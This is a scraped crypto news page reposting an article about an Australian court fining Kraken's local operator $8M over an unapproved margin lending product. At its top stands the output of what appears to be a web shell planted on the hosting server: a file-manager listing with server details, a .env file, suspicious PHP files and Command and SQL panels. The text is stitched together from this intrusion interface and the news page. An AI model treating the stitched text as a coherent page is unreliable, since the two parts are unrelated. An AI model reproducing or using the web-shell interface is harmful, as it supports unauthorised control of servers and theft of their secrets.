Uname: Linux server208.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User: 5803 (coinhjek)
Group: 5764 (coinhjek)
Disable functions: NONE :)
Safe mode: On[ PHPinfo ]
      ( Reset | Go to )
sFileSizeTanggalOwner/GroupPermissionsActions
[ . ] 04 Apr 2025, 11:53 5803 0750
[ .. ] 02 Apr 2025, 09:02 5803 0711
[ .well-known ] 16 Mar 2025, 17:36 5803 0755 Zip | Hapus
[ app ] 22 Sep 2023, 05:38 5803 0755 Zip | Hapus
[ bootstrap ] 22 Sep 2023, 05:38 5803 0755 Zip | Hapus
[ cgi-bin ] 02 Apr 2025, 10:41 5803 0755 Zip | Hapus
[ config ] 02 Apr 2025, 10:41 5803 0755 Zip | Hapus
[ database ] 22 Sep 2023, 05:38 5803 0755 Zip | Hapus
[ hooks ] 02 Apr 2025, 10:41 5803 0755 Zip | Hapus
[ lifeminer ] 02 Apr 2025, 10:41 5803 0755 Zip | Hapus
[ public ] 02 Apr 2025, 10:38 5803 0755 Zip | Hapus
[ resources ] 22 Sep 2023, 05:38 5803 0755 Zip | Hapus
[ routes ] 02 Apr 2025, 19:42 5803 0755 Zip | Hapus
[ sitemap ] 02 Apr 2025, 21:15 5803 0755 Zip | Hapus
[ stake ] 02 Apr 2025, 10:41 5803 0755 Zip | Hapus
[ storage ] 22 Sep 2023, 05:38 5803 0755 Zip | Hapus
[ tests ] 22 Sep 2023, 05:38 5803 0755 Zip | Hapus
[ vendor ] 22 Sep 2023, 05:38 5803 0755 Zip | Hapus
.env 1.18 Kb 23 Sep 2023, 02:29 5803 0644 Download | Rename | Kosong | Delete
.htaccess 1.10 Kb 04 Apr 2025, 11:53 5803 0644 Download | Rename | Kosong | Delete
ads.txt 67 b 29 Mar 2025, 17:17 5803 0644 Download | Rename | Kosong | Delete
artisan 1.70 Kb 22 Sep 2023, 05:38 5803 0644 Download | Rename | Kosong | Delete
composer.json 1.83 Kb 22 Sep 2023, 05:38 5803 0644 Download | Rename | Kosong | Delete
custom-plugin.php 6.45 Kb 03 Apr 2025, 05:55 5803 0644 Download | Rename | Kosong | Delete
de0dbc94-3698-40.txt 16 b 09 Jan 2025, 13:35 5803 0644 Download | Rename | Kosong | Delete
error_log 79.59 Kb 03 Apr 2025, 17:46 5803 0644 Download | Rename | Kosong | Delete
index.php 596 b 02 Apr 2025, 10:29 5803 0644 Download | Rename | Kosong | Delete
qing.php 28 b 02 Apr 2025, 10:30 5803 0644 Download | Rename | Kosong | Delete
robots.txt 959 b 02 Apr 2025, 10:44 5803 0644 Download | Rename | Kosong | Delete
sitemap.xml 224.79 Kb 03 Apr 2025, 21:16 5803 0644 Download | Rename | Kosong | Delete
system-config.php 1.13 Kb 03 Apr 2025, 17:34 5803 0644 Download | Rename | Kosong | Delete
w.zip 1.36 Kb 02 Apr 2025, 10:29 5803 0644 Download | Rename | Kosong | Delete
xxyz.php 6.45 Kb 03 Apr 2025, 17:46 5803 0644 Download | Rename | Kosong | Delete
File Baru | Folder Baru
Command
SQL
?> Australian Court Fines Kraken $8M Over Unauthorized Margin Lending Product
Главная Страх и жадность Горные бассейны бумажники Словарь афишировать Facebook Twitter Telegram Reddit Youtube
Рейтинг Рынка:
24ч:
Активные криптовалюты: 13284
Рынок: 103978
CoinInsight360.com logo CoinInsight360.com logo
ENG
EST
RUS
TUR
DEU
CHI
KOR
ITA
USD
USD
AED
AFN
ALL
AMD
ANG
AOA
ARS
AUD
AWG
AZN
BAM
BBD
BDT
BGN
BHD
BIF
BMD
BND
BOB
BRL
BTN
BWP
BYN
BZD
CAD
CDF
CHF
CLF
CLP
CNH
CNY
COP
CRC
CUC
CUP
CVE
CZK
DJF
DKK
DOP
DZD
EGP
ERN
ETB
EUR
FJD
FKP
GBP
GEL
GHS
GIP
GMD
GNF
GTQ
GYD
HKD
HNL
HRK
HTG
HUF
IDR
ILS
IMP
INR
ISK
JMD
JOD
JPY
KES
KGS
KHR
KMF
KPW
KRW
KWD
KYD
KZT
LAK
LBP
LKR
LRD
LSL
LYD
MAD
MDL
MGA
MKD
MMK
MNT
MOP
MRU
MUR
MVR
MWK
MXN
MYR
MZN
NAD
NGN
NIO
NOK
NPR
NZD
OMR
PAB
PEN
PGK
PHP
PKR
PLN
PYG
QAR
RON
RSD
RUB
RWF
SAR
SBD
SCR
SDG
SEK
SGD
SHP
SLL
SRD
SSP
STD
STN
SVC
SYP
SZL
THB
TJS
TMT
TND
TOP
TRY
TTD
TWD
TZS
UAH
UGX
UYU
UZS
VES
VND
VUV
WST
ZAR
ZMW
ZWL
America's Social Casino
Рейтинг Рынка
24ч
13284
Активные криптовалюты
62.09%
Bitcoin Поделиться
Crypto Potato 2024-12-16 22:34:43

Australian Court Fines Kraken $8M Over Unauthorized Margin Lending Product

Australian Court Fines Kraken $8M Over Unauthorized Margin Lending Product

The Federal Court of Australia has imposed an $8 million fine on Bit Trade, the operator of the cryptocurrency exchange Kraken in the country, for offering an unapproved margin lending product to local customers. The penalty follows allegations by the Australian Securities and Investments Commission (ASIC) that the firm violated financial regulations by failing to assess customer suitability for the product. Legal Implications The credit facility, which enabled users to leverage borrowed funds as investments backed by digital assets like Bitcoin or national currencies as collateral, was issued without a Target Market Determination (TMD). A TMD ensures that financial offerings are appropriately targeted to consumers based on their needs and circumstances. ASIC argued that Bit Trade offered the product to more than 1,100 Australian clients without this document in place. Between October 2021 and August 2023, 1,163 customers paid over $12 million in fees and interest for the product, with the total number of users likely higher as it remained available until August 2024. Justice John Nicholas, who delivered the penalty decision , emphasized the severity of Bit Trade’s rule-breaking, stating they were “serious and motivated by a desire to maximize revenue.” He criticized the company for not addressing compliance issues until the regulator raised concerns, calling its system “seriously deficient.” The financial watchdog reported that people lost a combined $7.85 million due to the product, with one investor losing nearly $6.3 million. On top of the fine, Bit Trade was ordered to cover ASIC’s legal costs. Regulatory Implications and Industry Reactions ASIC Chair Joe Longo described the ruling as a pivotal decision that shows the importance of TMDs in protecting consumers from harmful financial offerings. Longo stated, “This significant outcome is a reminder for digital asset firms to consider their regulatory compliance obligations.” He added that many virtual currency products fall under existing laws and must be designed and marketed responsibly to safeguard Australian investors. Meanwhile, a Kraken spokesperson expressed disappointment with the court’s ruling, calling for tailored cryptocurrency legislation to address the regulatory uncertainty facing the sector. The company previously criticized the existing rules after the court ruled against Bit Trade in September, stating that the judgment revealed inefficiencies in the country’s crypto regulations. Kraken voiced support for updates to current laws but raised concerns about delays in implementing such changes. The Australian regulator recently began consultations with the crypto industry to refine its approach. The body is seeking input on updates to its digital asset guidance, including clarifying when such assets fall under current rules. Meanwhile, opposition treasury and financial services spokesperson Luke Howarth accused the government of leaving the sector in “regulatory limbo.” He argued that ASIC’s actions risk preempting comprehensive legislative reforms, potentially slowing growth in the Australian crypto market. The post Australian Court Fines Kraken $8M Over Unauthorized Margin Lending Product appeared first on CryptoPotato .

Наиболее читаемые новости

Рейтинг Рынка
24ч
62.09%
Bitcoin Поделиться
286
Сегодня Новости
Прочтите Отказ от ответственности : Весь контент, представленный на нашем сайте, гиперссылки, связанные приложения, форумы, блоги, учетные записи социальных сетей и другие платформы («Сайт») предназначен только для вашей общей информации, приобретенной у сторонних источников. Мы не предоставляем никаких гарантий в отношении нашего контента, включая, но не ограничиваясь, точность и обновление. Никакая часть содержания, которое мы предоставляем, представляет собой финансовый совет, юридическую консультацию или любую другую форму совета, предназначенную для вашей конкретной опоры для любых целей. Любое использование или доверие к нашему контенту осуществляется исключительно на свой страх и риск. Вы должны провести собственное исследование, просмотреть, проанализировать и проверить наш контент, прежде чем полагаться на них. Торговля - очень рискованная деятельность, которая может привести к серьезным потерям, поэтому проконсультируйтесь с вашим финансовым консультантом, прежде чем принимать какие-либо решения. Никакое содержание на нашем Сайте не предназначено для запроса или предложения